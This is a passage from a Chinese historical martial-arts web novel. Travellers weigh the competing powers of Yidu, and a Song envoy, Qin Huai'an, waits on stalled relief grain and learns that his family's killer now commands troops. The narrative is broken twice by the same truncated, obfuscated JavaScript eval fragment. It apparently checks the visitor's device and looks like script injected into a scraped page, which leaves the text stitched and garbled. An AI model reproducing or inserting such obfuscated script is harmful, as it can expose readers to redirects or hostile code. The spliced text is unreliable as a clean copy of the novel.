;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她颔首扶额,早已料到自己一时半会还摆脱不了这三个“累赘”,更何况神荼索取不下来也无法向林子规交差。 “好吧,反正你我有约在先,打听到金蟾子下落之前,我们一同行动便是。”燕娘叹息道,“只是莫要再叫我‘前辈’,你我并非同道中人。你这年纪根骨已定形,习武的话晚了至少十年,我教不了你什么,愧不敢当。另外,关于益都府,塔斯哈还说了一些事情。” “哦?”仕渊立马来了兴趣,一旁打蔫儿的君实也坐直道:“愿闻其详。” “他说论及势力,益都府乃至整个山东两路,有两个‘天’和一个‘地’。”燕娘道,“他让我们不要招惹那两个‘天’,若有事便去求那一个‘地’。” “然后呢?”仕渊耳朵都竖起来了却没有等来下文,“他没再多解释解释?” 燕娘冷眼相对:“他还没来得及细说,你就跳起来把人家的马给骑走了……” 还真是让人无言以对。 良久,仕渊凝思道:“这益都的两个‘天’我倒是听安抚司的人提点过。其中一个‘天’自然是汉人三世侯李璮,亦是秦大人此行招安的对象。另一个,则是蒙古大汗下派的军民达鲁花赤,名曰纯只海。” “达鲁花赤?”燕娘道。 “‘达鲁花赤’意即‘掌印者’。”君实插言道,“蒙古铁骑征服无数城邦,却无力管辖,只得继续由当地人自行治理,北方的‘汉人世侯’便是如此。但蒙古王廷断然不会放任这些治理者阳奉阴违、一家独大,于是便派遣蒙人或色目人至各地,监治地方军政事务。” “其决策由蒙廷授意,其言表直接上达天听,故其名为‘掌印者’。”仕渊沉声道,“在山东两路,李璮拥兵自重,有广大汉民撑腰。而达鲁花赤纯只海统领州府,可调遣蒙古铁骑,也是真正掌握地方实权之人。” 燕娘了然于心,不禁又疑惑:“那塔斯哈所说的这一个‘地’指的是……” “三教金莲会!” “尚未开智”的纯哥儿吐出一嘴鱼骨头—— “那达鲁花赤官府势力再大,他李璮红袄军人数再多,也比不过民间的全真教众!” 38.海岱日悬两重天,齐鲁遍地生金莲(下) “都说北全真、南正一,全真教人多势众我在临安都有所耳闻,但和你说的三教金莲会有什么关系?”仕渊追问道。 几年假道童的经历终于派上些用场,纯哥儿美滋滋地翘起了二郎腿,侃侃而谈:“全真教不炼丹不卖符,道士们吃喝拉撒全靠信众供养,所以就在民间建了几个会社。这样既方便信众聚个会祈个福、与仙师拉拉卦谈谈心啥的,也方便仙师讲道建醮,或者印些个小本本卖。有些会社甚至还盖了许多小窝,供云游道人们修炼居住。正所谓‘会费一收,吃喝不愁’!” “所说不假。只是那修炼居住之所不叫‘窝’,叫‘云房’。”燕娘浅笑着斜了纯哥儿一眼,“但其实也没差多少。” 有了大姐的认同,纯哥儿彻底打开了话匣子:“这些个会社中,还属牟平县的金莲堂最发达,所以平时老乡们就直接称这组织为‘金莲会’。他们每月都有大小集会,参加的信众多了,无形中就织成了一张大网。 “我姥姥纳鞋底为生,去了几次集会,都能偷学些新纹样,认识些外地的主顾。这就好比平地起大树,地是全真教的地,种树的都是地方豪强,不管你天上飞的地上跑的,修行的还是信教的,都离不开这几棵大树。” “没错。”燕娘插言道,“我师门虽避世不出数十载,却也会通过金莲会传书得知世间情势。而且,全真道许多真人仙师亦是在金莲会庵堂出家、修行、坐化,比如我师祖。” “大姐恁师祖谁啊?” 纯哥儿笑嘻嘻地发问,见燕娘闭目不语,便自行找了个台阶下:“算了,俺就是卖过几个符而已,恁说了俺也不认识!” 他继续道:“但金莲会之所以能成为与两个‘天’抗衡的一个‘地’,主要还是因为这棵树上栖着的,有许多一呼百应的‘大鸟儿’!各种乡绅土豪文人名士就不说了,诸位别忘了,那大名鼎鼎的北七真,可都是全真门下。金蟾子不也是龙门派的吗?没准儿在金莲会也有信徒呢!” 仕渊苦笑连连:“金蟾子没有度牒,根本就是个假道士。而且他行踪不定又穷酸,大过年的跑人家观里偷白菜,哪像是有人供奉的样子?况且塔斯哈刚说过,火烧蟾螳宫的,正是龙门派。” 他没有继续说下去,但言下之意,其余三人也心知肚明——找龙门派“大鸟儿”打听恐怕也悬。 能否找到知情人士姑且不论,若龙门派放火只是为了惩戒泄愤,或是欲抓人却不成功,那么金蟾子吃了大亏后势必躲得远远的。天大地大,他们打听也是徒劳。若金蟾子真的被拿下,此门派内部事务,龙门中人也断不会同外人说。 仕渊无精打采地拔着鱼刺,此刻巴不得自己有个身为龙门派长老的二伯,或者金莲堂主的三姨。 “无论如何,等到了益都再做打算也不迟。”他打了个呵欠道,“大不了我们交点会费,加入那劳什子金莲会!” ------------------------------------- 益都府,自古海岱之邦,位于渤海与泰山之间。但在宋人心中,它永远是令人魂牵梦绕的青州,是易安居士缱绻凄婉的半生,也是醉翁先生卧看横山的酣眠 。如今虽两朝殆尽、满城膻腥,但范公亭前,甘泉犹在,雁回西楼,明月依旧。 城南阜财门外,悠悠云门山下,有一家正对官道的食肆。 此时已至晌午,食肆门口板板正正地坐着两个人,面前只有未见底的羊汤和半壶清茶,显然这二人来此,既不为饱餐,亦不为欣赏山景。 他们谈话间刻意压低着声音,人来人往间还会往官道方向张望两眼。 其中一人年轻干瘦,蜡黄的脸上全是逢迎。另一人英俊魁梧,却满面愁容,一只手时不时地摩挲着后颈骇人的伤疤,正是秦怀安。 “刘通判给我朝的密函中写得清清楚楚,这赈灾义粮由我朝送至骆马湖后交由李家军接应,运送至益都府后听候调配。我们舟车劳顿好不容易到了这里,却迟迟等不来刘通判的调令!” 秦怀安实在难掩焦躁之情,“眼下已经三日了,行省相公李璮见不到,几十车的粮食竟被扣在驿站里了!我朝如通判大人所愿,携钱粮相赠,以解贵邦燃眉之急,共商互惠大计,然而这就是你们的待客之道吗? “秦大人还请多多见谅,老师也是始料不及。海、楚二州乃争议之地,山东西路匪寇横行,运粮只能从骆马湖走官道。一路上各驿站的驿长我们都已经事先打点过了,谁知还是被呈报给了益都府尹。府尹是蒙人,老师在其身边办事,也不好公然出面调解啊!” 说话之人名叫陈潜,是益都府通判刘元直所辖临朐县的主簿,亦是其学生。 通判职掌州府兵民,亦负责筹办钱粮,但凡有饥荒战事,往往是最头疼的人。此次宋廷与李氏会晤,即是由刘元直暗中牵桥搭线。 但蒙廷对李璮忌惮已久,招安之礼自然不能堂而皇之地送到李家军帐下。宋廷亦不希望李氏将所得钱粮充作军饷再犯楚州,故而以赈灾的名义,将钱粮经由益都府通判之手,转调至李璮所辖州的灾区。 刘通判受制于达鲁花赤,便派信任的学生陈潜来接应此事。驿站内人多眼杂,二人只得着便服来这偏僻食肆议事。 “秦某明白通判大人的难处,不敢置喙。但那么多粮食堆在驿站也不是办法啊!” 秦怀安眉头紧锁,"救不了饥民也入不了仓,孟夏湿热,粮食过不了几天就霉了。秦某也是齐鲁人士,也曾忍饥挨饿,实在见不得任何粮食被糟蹋,也想为父老乡亲尽绵薄之力。” “我们先稍安勿躁,老师已着人连夜去信李少保处。”陈潜嘴上安抚着,手上驾轻就熟地为秦怀安斟满茶。“李少保现下就在莱、密二州灾区巡视。届时由他亲自出面呈急报,调令便能顺水推舟下达,达鲁花赤那边也不好说什么。” 秦怀安冷哼一声:“你们李少保进犯我朝边境时可谓是勇猛无畏啊,怎地在蒙人面前如此束手束脚?” “这不是受制于人嘛!这也是李少保大半时间都在东边‘巡视’的原因。”陈潜连连赔笑,“达鲁花赤那边也就罢了,少保府上夫人可是蒙古王室啊!其中缘由想必您也能理解,一个为安插耳目强塞,一个为表忠心硬着头皮娶,娶完了就干脆不在益都常住了!” 秦怀安微微展眉,将声音压到最低:“所以听阁下的意思是……李少保其实早有反心?” 好巧不巧地,他话音方落,身后官道上有一队蒙故轻骑打马而过。 陈潜斜着眼睛目送他们走远,转而对秦怀安讳莫如深一笑:“我非其人,安知其心?不才区区读书人,只知‘博观而约取,厚积而薄发’,也只能告知这么多了。” 李璮对蒙廷有反心其实不足为奇,但肯不肯为宋廷所用另当别论。 秦怀安点了点头,已有定论,但他数年闲职无人知,一朝提拔便是个镇抚使。天降大任,他已心神忐忑了许久,见陈潜虽表面精明圆滑,内里倒是个实在人,便追问道:“刘通判深明大义,阁下亦是明白人。不妨跟在下交个底,此次会晤,我朝欲与李氏合谋,成算有几何?” 陈潜沉思片刻,方道:“实不相瞒,李家军大多是民间出身的将领。武将嘛,满脑子都是怎么建功立业、怎么喂饱手下兵士,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原来如此,登州多风云人物啊!”陈潜感慨道,“秦大人这位旧识,如今可是登州防御使兼三州兵马征行事,亦是李少保最信任的将领之一。最重要的是,蔡将军同老师一样,是李家军为数不多的亲宋派!” 一丝寒意贯穿肺腑,秦怀安闻言垂首,再也挤不出一丝笑容。 二十一年前,蔡锐还只是一个城门校尉,李璮能对其青眼有加,多半因其进献昆吾宝剑、剿灭栖霞山庄有功。 命运弄人,曾经杀父灭门的仇人,如今却成了影响宋、蒙、李三方局势的关键人物。 他自己或许可以暂且放下仇恨,但他那不知身在何处的妹子,会甘心听他道一句“来日方长,大局为重”吗? “真是,出息了啊……”他饮尽面前清茶,目光涣散地望向空旷官道,不再说一句话。 良久,那官道的尽头扬起一片黄尘,裹挟着驴嘶滚滚而来,一旁的云门山幽静苍翠,此刻不得不退让三分。 陈潜眯起眼睛细瞧,但见一辆草棚驴车追着一匹矮脚马近前而来。 几度竞速,驴车甚至赶超了一旁四蹄腾空的单骑,只是害得身后的车子差点散架。 黄尘中,一个天青色的身影在驾坐上站起,张扬地冲着陈潜所在之处挥手。随后他收紧缰绳,那驴车一个急刹停在食肆对面,一声亲昵的“秦相公”破空而来。 秦怀安一激灵,放下茶杯,即刻迎了上去。陈潜起身追赶,迎面撞上那矮脚马赶到。 晴空孟夏,一个月白身影自马上跃下,如飘雪般落至陈潜眼前,然而这翩跹身影之上,却是一张比冰雪还冷冽的双眸。 他呼吸一顿,恭敬地退后两步,不好意思再抬眼。